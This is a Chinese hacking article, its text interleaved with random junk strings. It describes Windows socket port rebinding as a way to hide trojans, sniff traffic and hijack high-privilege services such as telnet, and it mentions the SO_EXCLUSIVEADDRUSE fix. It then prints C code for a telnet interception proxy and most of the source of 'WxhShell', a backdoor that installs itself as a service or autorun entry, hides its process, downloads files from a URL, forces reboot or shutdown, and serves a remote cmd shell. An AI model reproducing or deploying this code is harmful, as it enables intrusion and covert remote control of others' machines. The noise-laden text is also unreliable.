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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: cExS7~* s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); q'82qY HHsmLo c4 saddr.sin_family = AF_INET; P";'jVcR wD)XjX saddr.sin_addr.s_addr = htonl(INADDR_ANY); ~e@z;]CiY TRq6NB bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); yz8jw:d^- ')3
bl3: 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 gB'6`' Q'0d~6n&{ 这意味着什么?意味着可以进行如下的攻击: 6NHX2Ja |
%Vh`HT 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 XOS[No~ kZ3ThIk% 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ,nm*q#R,0 [q #\D 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 C~iL3Cb Dm<A
^u8 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 ySDH"|0 04=c-~&q 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 <e</m)j y
h9*z3 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 9qG6Pb X}\:_/ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 3/n5#&c\4 Jz e:[MYS #include JFk
lUgg #include )P|),S,;Z #include "LTad`]<Ro #include A~t
j/yq9 DWORD WINAPI ClientThread(LPVOID lpParam); BR yl4 int main() }U"&8%PZr {
yO~Ig
`w WORD wVersionRequested; YcpoL@ab DWORD ret; rh}J3S5vp WSADATA wsaData; gSQJJxZ{? BOOL val; @6T/Tdz SOCKADDR_IN saddr; g7W" SOCKADDR_IN scaddr; >V}#[ /n int err; V33T+P~j SOCKET s; :G%61x&=Zc SOCKET sc; wDe& 1(T^ int caddsize; }Kbb4]t|" HANDLE mt; B,epzI DWORD tid; v
z '&%( wVersionRequested = MAKEWORD( 2, 2 ); 0.k7oB;f(@ err = WSAStartup( wVersionRequested, &wsaData ); W|63Ir67 if ( err != 0 ) {
7E~;xn; printf("error!WSAStartup failed!\n"); fS78>*K return -1; wi6
~}~% } j+
0I-p saddr.sin_family = AF_INET; VS8Rx.? ^,T(mKS //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 JrRH\+4K j HJ`,# saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); u5f9Jw} saddr.sin_port = htons(23); j\^CV?}sm' if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) YglmX"fLf { y/ef>ZZ printf("error!socket failed!\n"); dVT$ VQg return -1; @QP z#- } l]l'4@1 val = TRUE; 338k?nHxv //SO_REUSEADDR选项就是可以实现端口重绑定的 GDiBl* D if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) p4
^yVa { n]o<S+z printf("error!setsockopt failed!\n"); N64dO[op return -1; 3m!X/u } VQ9/Gxdeo //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; )
ahA[ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 nk's_a*Z //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 sN01rtB(UT 6zuTQ^pz if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) D7Q$R:6| { ]K,Tnyp ret=GetLastError(); KF!Yf\ printf("error!bind failed!\n"); Od,qbU4O return -1; fSvM(3Y<Qh } p]2128kqx listen(s,2); >V8-i` while(1) )cMh0SGcM1 { -**g~ty) caddsize = sizeof(scaddr); LIF7/$,0 //接受连接请求 )W
_v:?A9 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 68C%B9.b' if(sc!=INVALID_SOCKET) OU
$#5 { ud@%5d mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); w-L=LWL\ if(mt==NULL) PmEsN&YP] { 3eAX.z`D printf("Thread Creat Failed!\n"); }Sh?S]]` break; mLLDE;7|} } ]:k/Y$O2 } C7ScS"~ CloseHandle(mt); HJ[c M6$2 } uo%)1NS! closesocket(s); #yF&X(% WSACleanup(); 1JG'%8}#8 return 0; L2i_X@/ } ~YWQ2] DWORD WINAPI ClientThread(LPVOID lpParam) wIaony { =|y9UlsD SOCKET ss = (SOCKET)lpParam; j[J-f@F \Y SOCKET sc; ytJ/g/,A0i unsigned char buf[4096]; xHLlMn4M SOCKADDR_IN saddr; r1{@Ucw2 long num; ">,|V-H DWORD val; DgQpHF DWORD ret; +.b,AqJ/ //如果是隐藏端口应用的话,可以在此处加一些判断 .2Elr(&*h //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 b&N'C9/8 saddr.sin_family = AF_INET; 3<f}nfB%r? saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 2E)-M9ds saddr.sin_port = htons(23); 9ZsVy if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) k|PN0&J { M; tqp8 printf("error!socket failed!\n"); :vQrOn18p return -1; :zke %Yx } U@)eTHv}6 val = 100; i^Y+?Sx if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) CXx*_@}MU { \\H}`0m: ret = GetLastError(); '"/=f\)u return -1; ?(F6#"/E } ,pQZ@I\z if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ;)z:fToh { k&vz7Q`T ret = GetLastError(); 2,b(,3{`4: return -1; BLf>_bUk } DGn;m\B if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) X Dm[Gc>(~ { pG^ printf("error!socket connect failed!\n"); m6\E$;` closesocket(sc); ~#[yJNYQ closesocket(ss); i0kak`x0 return -1; }t=!(GOb} } }9# r0Vja while(1) ub#a` { CMG&7(MR //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
}Gm>`cw- //如果是嗅探内容的话,可以再此处进行内容分析和记录 S8wLmd> //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 DIfaVo/" num = recv(ss,buf,4096,0); ^]0Pfna+N if(num>0) :tB1D@Cb6 send(sc,buf,num,0); iDz++VNV else if(num==0) :W.(S6O( break; p\tm:QWD; num = recv(sc,buf,4096,0);
03qQ'pq if(num>0) rIu$pZO send(ss,buf,num,0); Ls$D$/:q? else if(num==0) N06OvU2>xU break; "R1NG?;q } #64-~NVL_ closesocket(ss); O1U= X:Zl closesocket(sc); F Q7T'G![ return 0 ; [")o.( } uLL]A>vR +yH7v5W z2_*%S@ ========================================================== kYqU9cB~ 6azGhxh 下边附上一个代码,,WXhSHELL 2Aazy'/ p{Yv3dNl ========================================================== FaQe_; L~rBAIdD #include "stdafx.h" 9`A;U|~E@ Hz1%x #include <stdio.h> t?x<g <PJ4 #include <string.h> wOEj)fp. #include <windows.h> DJXmGt] #include <winsock2.h> j_!F*yul #include <winsvc.h> fF$<7O)+] #include <urlmon.h> L_uVL#To 5j<mbt} #pragma comment (lib, "Ws2_32.lib") :uq\+(9 #pragma comment (lib, "urlmon.lib") ,]ma+(| UXc-k #define MAX_USER 100 // 最大客户端连接数 hz;G$cuEE #define BUF_SOCK 200 // sock buffer h-#6av: #define KEY_BUFF 255 // 输入 buffer nwB_8mN| QT<
}]
0 #define REBOOT 0 // 重启 :0j?oY~e #define SHUTDOWN 1 // 关机 ,.83m%i LqoB 10Kc\ #define DEF_PORT 5000 // 监听端口 "3)C'WlEy/ hl7bzKO*w #define REG_LEN 16 // 注册表键长度 @uqd.Q #define SVC_LEN 80 // NT服务名长度 ?wiCQ6*$ (cAIvgI // 从dll定义API h5{'Q$Erl typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 1MP~dRZ$ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); xd q?/^E typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); L%*!`TN typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); hYT0l$Ng W#4 7h7M // wxhshell配置信息 e#L8X
{f struct WSCFG { SIF/-{i(X int ws_port; // 监听端口 [fya)} char ws_passstr[REG_LEN]; // 口令 @Q
]=\N: int ws_autoins; // 安装标记, 1=yes 0=no yYIf5S`V] char ws_regname[REG_LEN]; // 注册表键名 #zv3b[@ char ws_svcname[REG_LEN]; // 服务名 "/*\1v9 char ws_svcdisp[SVC_LEN]; // 服务显示名 N
,'GN[s char ws_svcdesc[SVC_LEN]; // 服务描述信息 B4c]}r+ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 -LoZs
ru int ws_downexe; // 下载执行标记, 1=yes 0=no n/;WxnnQ char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" ]_mb7X> char ws_filenam[SVC_LEN]; // 下载后保存的文件名 =r?hgGWe ~:rl=o } }; k$z_:X -[4T // default Wxhshell configuration G\/zkrxmv struct WSCFG wscfg={DEF_PORT, Xy|So|/bKd "xuhuanlingzhe", _wbF>z 1, n71r_S* "Wxhshell", gq4Tb
c
oA "Wxhshell", =\&;Fi] "WxhShell Service", =V,mtT "Wrsky Windows CmdShell Service", DbBcQ% "Please Input Your Password: ", a?I=
!js 1, b(eNmu " http://www.wrsky.com/wxhshell.exe", }WC[$Y_@ "Wxhshell.exe" &=@IzmA }; KVoS
C@w 5Md=-,'J! // 消息定义模块 sQUM~HD\a char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ="1Ind@w!
char *msg_ws_prompt="\n\r? for help\n\r#>"; {nBhdM :i char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; >\-hO&%_ char *msg_ws_ext="\n\rExit."; tzWSA-Li char *msg_ws_end="\n\rQuit."; .;y.]Z/; char *msg_ws_boot="\n\rReboot..."; Z,
zWuE3 char *msg_ws_poff="\n\rShutdown..."; p,5i)nEFj char *msg_ws_down="\n\rSave to "; Go`vfm"S e8>}) char *msg_ws_err="\n\rErr!"; A2I9R;} char *msg_ws_ok="\n\rOK!"; guq{#?} 9Z@hPX3. char ExeFile[MAX_PATH]; Gvt G(u~ int nUser = 0; O40?{v' HANDLE handles[MAX_USER]; ?hZAxR\ int OsIsNt; .9/hHCp R$h<<v)% SERVICE_STATUS serviceStatus; &&5aM SERVICE_STATUS_HANDLE hServiceStatusHandle; )!th7sH 0cv{ // 函数声明 g+8OekzB5 int Install(void); du
$:jN\} int Uninstall(void); 4qb/daE:Z int DownloadFile(char *sURL, SOCKET wsh); SXSgld2uS int Boot(int flag); I13y6= d void HideProc(void); zq3\}9 int GetOsVer(void); }kw#7m54 int Wxhshell(SOCKET wsl); x77*c._3v void TalkWithClient(void *cs); yJ[0WY8<kC int CmdShell(SOCKET sock); QGMV}y int StartFromService(void); JinUV6cr int StartWxhshell(LPSTR lpCmdLine); \0^Kram> 70yFaW VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); fF!Yp iI" VOID WINAPI NTServiceHandler( DWORD fdwControl ); h/QXPdV qJf?o.Pv // 数据结构和表定义 +C^nO=[E SERVICE_TABLE_ENTRY DispatchTable[] = _>o:R$ %} { w1FcB$ {wscfg.ws_svcname, NTServiceMain}, {X!r8i {NULL, NULL} =}<IfNA }; 3<e=g)F Yj<a"
Gr4[ // 自我安装 7m47rJyW4 int Install(void) J@/kIrx { [7:,?$tC char svExeFile[MAX_PATH]; CQc+#nRe HKEY key; o3XvRj strcpy(svExeFile,ExeFile); rP'me2
B 0.Q
Ujw // 如果是win9x系统,修改注册表设为自启动 =1@u if(!OsIsNt) { 2,y|EpG# if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 'NbHa! RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); G~]Uk*M
q RegCloseKey(key); >1X|^ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { F0m-23[H RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [@_Jj3`4 RegCloseKey(key); cRC6 s8 return 0; 1>.Ev,X+e } \:P>le'1 } DcS+_>a\{l } ob!P;]T else { _f7 9wx\B ,=uD^n: // 如果是NT以上系统,安装为系统服务 m=1N>cq
' SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); w$>u b@= if (schSCManager!=0) 8:q1~`?5"b { ]HbY SC_HANDLE schService = CreateService av(6wht8 ( 3RUy,s schSCManager, fQ7V/x! wscfg.ws_svcname, eYc$dPE wscfg.ws_svcdisp, +Z,;,5'5G SERVICE_ALL_ACCESS, 2/U.|*mH SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , #QZe,"C9` SERVICE_AUTO_START, 5f rX SERVICE_ERROR_NORMAL, 9v#CE! svExeFile, k<z)WNBf NULL, :S]\0;8] NULL, 5G}?fSQ> NULL, Q1lyj7c#x NULL, V~qNyOtA] NULL ~\r* ); ),_@WW;k if (schService!=0) o]odxr { n5|fHk^s CloseServiceHandle(schService); hy9\57_# CloseServiceHandle(schSCManager); AI2~Jp strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); [=C6U_vU strcat(svExeFile,wscfg.ws_svcname); v<k?Vu if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ; cNv\t RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 2bz2KB5> RegCloseKey(key); //B&k`u return 0; ;2G*wR } &.3"Uo\# } &*o=I|pQ CloseServiceHandle(schSCManager); }ZYd4h|g\z } 3s*mbk[J } XMZ,Y7 {.`vs;U return 1; @?ebuj5{e } P|`8}|}a pR<`H' // 自我卸载 SV4E0c> int Uninstall(void) p;a,#IJu { v{RZJ^1 HKEY key; aNsBcov3O W@>% {eE if(!OsIsNt) { &{5,:%PXw if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { UJUEYG RegDeleteValue(key,wscfg.ws_regname); KV91)U RegCloseKey(key); \eTwXe]Pv if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Fk7?xc RegDeleteValue(key,wscfg.ws_regname); "> ypIR< RegCloseKey(key); $L`d&$Vh return 0; 8H[<X_/ke } UhF-K#Z9 } 5{TsiZh4 } hXw]K" else { AhN4mc@ _1X!EH" SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); BX/8O<s0 if (schSCManager!=0) ?JbilK}a { +D6YR$_< SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); wKh4|Ka if (schService!=0) N>uRf0E> { O *C;Vqt if(DeleteService(schService)!=0) { goNG' o %| CloseServiceHandle(schService); E#34Wh2z CloseServiceHandle(schSCManager); s3N'02G return 0; MBK^FR-K } [>3./YH` CloseServiceHandle(schService); /A\8 mL8 } !"e5h`/ADM CloseServiceHandle(schSCManager); B^=-Z8 } t3WiomNCc } .N;=\C* :]K4KFM return 1; cdH>n) } E,Z$pKL? Xfc-UP|} // 从指定url下载文件 q_lKKzA int DownloadFile(char *sURL, SOCKET wsh)
Q>qUk@ { ux-/>enc HRESULT hr; j a[Et/r char seps[]= "/"; J`Q>3]wL char *token; $GV7o{"& char *file; 3m[vXr? char myURL[MAX_PATH]; 6 3iUi9P char myFILE[MAX_PATH]; MR7}s4o Y>z>11yEB0 strcpy(myURL,sURL); W.jGGt\<\ token=strtok(myURL,seps); o)|flI'vT while(token!=NULL) ')Zvp7>$ { ";lVa'HMZ file=token; <\y@*fg+ token=strtok(NULL,seps); ,]C;sN%~} } nbp=PzZy "V7K SO GetCurrentDirectory(MAX_PATH,myFILE); @&!ZZ
1V8 strcat(myFILE, "\\"); ;<Sd~M4f strcat(myFILE, file); hR
n <em send(wsh,myFILE,strlen(myFILE),0); CZe ]kXNv send(wsh,"...",3,0); ~hH REI& hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ;1W6G=m if(hr==S_OK) <V'@ks% return 0; L- iy else }v;V=%N+v return 1; %QH$ipM _{O>v\u } 3Aip}<1 Mexk~zA^ // 系统电源模块 ;a!S!%.h int Boot(int flag) S>+|OCl"; { OKZV{Gja HANDLE hToken; PNhe TOKEN_PRIVILEGES tkp; GMx&y2. Z ;>hO+Wo if(OsIsNt) { `RT>}_j OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); iXkF1r]i LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); qbr$>xH tkp.PrivilegeCount = 1; ^6x%*/l| tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Hvauyx5T AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ^0)g/`H^> if(flag==REBOOT) { G't$Qx,IC if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) f)rq%N & return 0; FkDmP`Od } %Xd[(Q) else { 5ta `%R_ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 4B;=kL_f return 0; @IKYh{j4 } V-P#1Kkh } ;;Y!^^g else { ,,.QfUj/& if(flag==REBOOT) { FXCMR\BsQ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 7"D",1h return 0; ]%SH> } (Rh,, else { _ye |Y if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) /N+dQe return 0; @7c?xQVd$ } mIvx1_[ } =?*!"&h "cGk)s return 1; N% B>M7-= } wu6;.xTLl DK~xrU' // win9x进程隐藏模块 ~Cttzn]pR void HideProc(void) (x|T+c"bAX { G>=*yqo
octL"t8w HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 2s8a
$3 if ( hKernel != NULL ) bj^5yX;2 { ?81c 4w pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @{e}4s?7od ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ]q[D>6_ FreeLibrary(hKernel); i"FtcP^ } ~/U1xk% }tuC} return; pF >i-i } I{&[[7H uMv,zO5 // 获取操作系统版本 cZ*@$%_ int GetOsVer(void) Hio0HL- { qkqIV^*R OSVERSIONINFO winfo; zI uJ-8T" winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Zl!kJ:0 GetVersionEx(&winfo); ~=LE0. 3[ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) DfD&)tsMQ return 1; >|=ts else }v{LRRi return 0; I@N8gn } I
34>X`[o 6|=f$a // 客户端句柄模块 E]d.z6k int Wxhshell(SOCKET wsl) 2tO,dx { ?$pCsBDo SOCKET wsh; Nx;~@ struct sockaddr_in client; j;r-NCBnz DWORD myID; 8Fh)eha9f >Tx?%nQ while(nUser<MAX_USER) ,p a {qne { w2c?.x int nSize=sizeof(client); %;'s4ly wsh=accept(wsl,(struct sockaddr *)&client,&nSize); .{^5X)
if(wsh==INVALID_SOCKET) return 1; ^\% (,KNo 8,%^
M9zBP handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 2,F.$X if(handles[nUser]==0) ;(%QD
3 > closesocket(wsh); Ax@$+/Z! else ~~P5k: nUser++; kTB0b*V } Zx@a/jLO[n WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 'LC1(V!_j }<r)~{UV return 0; $PPi5f}HD } Zi
i 7]bGc
\ // 关闭 socket b|DdG/O void CloseIt(SOCKET wsh) (t|Zn@uY { w9imKVry closesocket(wsh); *^4"5X@ nUser--; n>XdU%& ExitThread(0); ^
@5QP$. } V!=,0zy~Z q;CiV // 客户端请求句柄 A)!*]o>U void TalkWithClient(void *cs) `h\j99 { J@'wf8Ub ITBE|b SOCKET wsh=(SOCKET)cs;
(ZizuHC char pwd[SVC_LEN]; 3$R1ipb char cmd[KEY_BUFF]; e !Y~Qy char chr[1]; d0ksG$ int i,j; X_h}J=33Q LL!Dx%JZ while (nUser < MAX_USER) { Fxz"DZY6 kevrsV]/$ if(wscfg.ws_passstr) {
teF9Q+*~ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); niyV8v //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); FZlWsp= //ZeroMemory(pwd,KEY_BUFF); 4HlQ&2O%# i=0; S\=Nn7" while(i<SVC_LEN) { da(<K} EQM{ // 设置超时 Yq
KCeg fd_set FdRead; D,feF9 struct timeval TimeOut; /4Gt{ygSr FD_ZERO(&FdRead); p5iuYHKk? FD_SET(wsh,&FdRead); .q>iXE_c TimeOut.tv_sec=8; &8lZNv8;(p TimeOut.tv_usec=0; 8ib:FF(= u int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); C6PdDRf if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); MTn{d g-
gV2$I if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [W&T(%(W- pwd =chr[0]; Zy/_
E@C}u if(chr[0]==0xd || chr[0]==0xa) { 4Nsp<Kn> pwd=0; XL^GZ break; k_#)Tw* } oEv'dQ9 i++; bt?5*ETA } y9ZvV0 GbI/4<)l} // 如果是非法用户,关闭 socket z24q3 3O if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [/r(__. } *.[.
{qG(
J&_n9$ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ih3n<gXF send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8s@3hXD& |G<|F`Cj while(1) { m&3xJuKih d=/F}yP~?s ZeroMemory(cmd,KEY_BUFF); %cn<ych
G tH4B:Bgj! // 自动支持客户端 telnet标准 $??I/6 j=0; 6 u6x while(j<KEY_BUFF) { [-w%/D%@ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ueNS='+m cmd[j]=chr[0]; gX@aG9 if(chr[0]==0xa || chr[0]==0xd) { !4!~Lk= cmd[j]=0; Id9TG/H7 break; ]?4hyN } !G|@6W` j++; ['D]>Ot68 } P+}h$_x /-s6<e! // 下载文件 zQ PQ if(strstr(cmd,"http://")) { 6]wIG$j send(wsh,msg_ws_down,strlen(msg_ws_down),0); :4|4 =mkr if(DownloadFile(cmd,wsh)) j>kqz>3 send(wsh,msg_ws_err,strlen(msg_ws_err),0); (@YG~0 else wd6owr send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zuCSj~ } '+
?X else { 9+N-eW_U 2an f$^[ switch(cmd[0]) { h+,@G,|D gqR(.Pu // 帮助 Wp,R^d case '?': { pR_9NfV{ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \2z>?i) break; 2AdDIVYC } mkpMfPt // 安装 unxqkU/<Z case 'i': { ]$hBMuUa if(Install()) $cgcX send(wsh,msg_ws_err,strlen(msg_ws_err),0); +ge?w#R else Vvo7C!$z send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6\t@)=C,Q break; ;VK.2^jW! } ~J]qP #C // 卸载 qP
,EBE case 'r': { '"Nr, vQo if(Uninstall()) ~ri5zb20 send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1~gCtBRM else PY'2h4IL send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2<6UwF break; p7~!z.)o } !x)R=Z/C // 显示 wxhshell 所在路径 #9s,#
} case 'p': { (k P9hcV char svExeFile[MAX_PATH]; xD 7]C|8o strcpy(svExeFile,"\n\r"); /{2,zW strcat(svExeFile,ExeFile); kx CSs7J/ send(wsh,svExeFile,strlen(svExeFile),0); 4ppz,L,4 break; JGZBL{8 } n"8Yv~v*2j // 重启 qgB_=Q#E case 'b': { @F>D+=hS send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [>9is=>o. if(Boot(REBOOT)) >mkFV@` send(wsh,msg_ws_err,strlen(msg_ws_err),0); jWgX_//! else { H/Jbk*Q closesocket(wsh); +|f@^- ExitThread(0); %2h>-.tY } 8XaQAy%d] break; ykJ>*z } C,zohlpC // 关机 )B*t
:tN case 'd': { kf9X$d6 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); m[2gdJK if(Boot(SHUTDOWN)) ig"L\ C"T send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^?|"L>y else { l"]V6!-U closesocket(wsh); g{LP7D;6 ExitThread(0); H*6W q } R-14=|7a- break; #;S*V" } v^PO|Z // 获取shell NlXimq case 's': { 1mJHued=6 CmdShell(wsh); sRfcF`7 closesocket(wsh); ,//S`j$S ExitThread(0); 8EY:tzw break; (%9$! v{3 } 5R7DDJk // 退出 (5~h"s case 'x': { 1x^GWtRp send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); D'4\*4is CloseIt(wsh); HT@=evV break; V)4J`xg^ } 4K74=r),i // 离开 *ui</+ case 'q': { x^CS"v7 send(wsh,msg_ws_end,strlen(msg_ws_end),0); Wl4%GB closesocket(wsh); =V5%+/r +f WSACleanup(); 5-M-X#( exit(1); AwN!;t_0+N break; !'Kjx } LQ% `c } t<qiGDJ<d } nFn5v'g N g,j# // 提示信息 K^[?O{x^B if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8>V5dEbx' } Ts9uL5i } %)wjR/o Hv, LS;W return; 45oR=Atn } ^}r1;W?n T0
{L q: // shell模块句柄 r*Xuj= int CmdShell(SOCKET sock) 28nFRr { SAz STARTUPINFO si; =">NQ)98u ZeroMemory(&si,sizeof(si)); }\LQ3y"[ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; F!do~Z si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; i9$ Av PROCESS_INFORMATION ProcessInfo; $8FUfJ1@ char cmdline[]="cmd"; snJ129}A CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 7o4\oRGV return 0; 3a|\dav% } m kexc~l oU/5 a>9~ // 自身启动模式 e# bn# int StartFromService(void) 54/=G(F { (w{j6).3Dj typedef struct r/1(]#kOX { [
3HfQ DWORD ExitStatus; ctUp=po DWORD PebBaseAddress; wS*E(IAl DWORD AffinityMask; #Dac~>a' DWORD BasePriority; *h|U,T7ew ULONG UniqueProcessId; A=4OWV? ULONG InheritedFromUniqueProcessId; j39wA~K } PROCESS_BASIC_INFORMATION; 0`hdMLONR 9VT;ep PROCNTQSIP NtQueryInformationProcess; xkn;,`t^lJ UI#h&j5pW static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ww/Uzv static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; =#\:}@J5I If.r5z9 HANDLE hProcess; Q20%"&Xp] PROCESS_BASIC_INFORMATION pbi; he4(hX^ )*[3Vq HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); BzzTGWq\ if(NULL == hInst ) return 0; 1"g<0
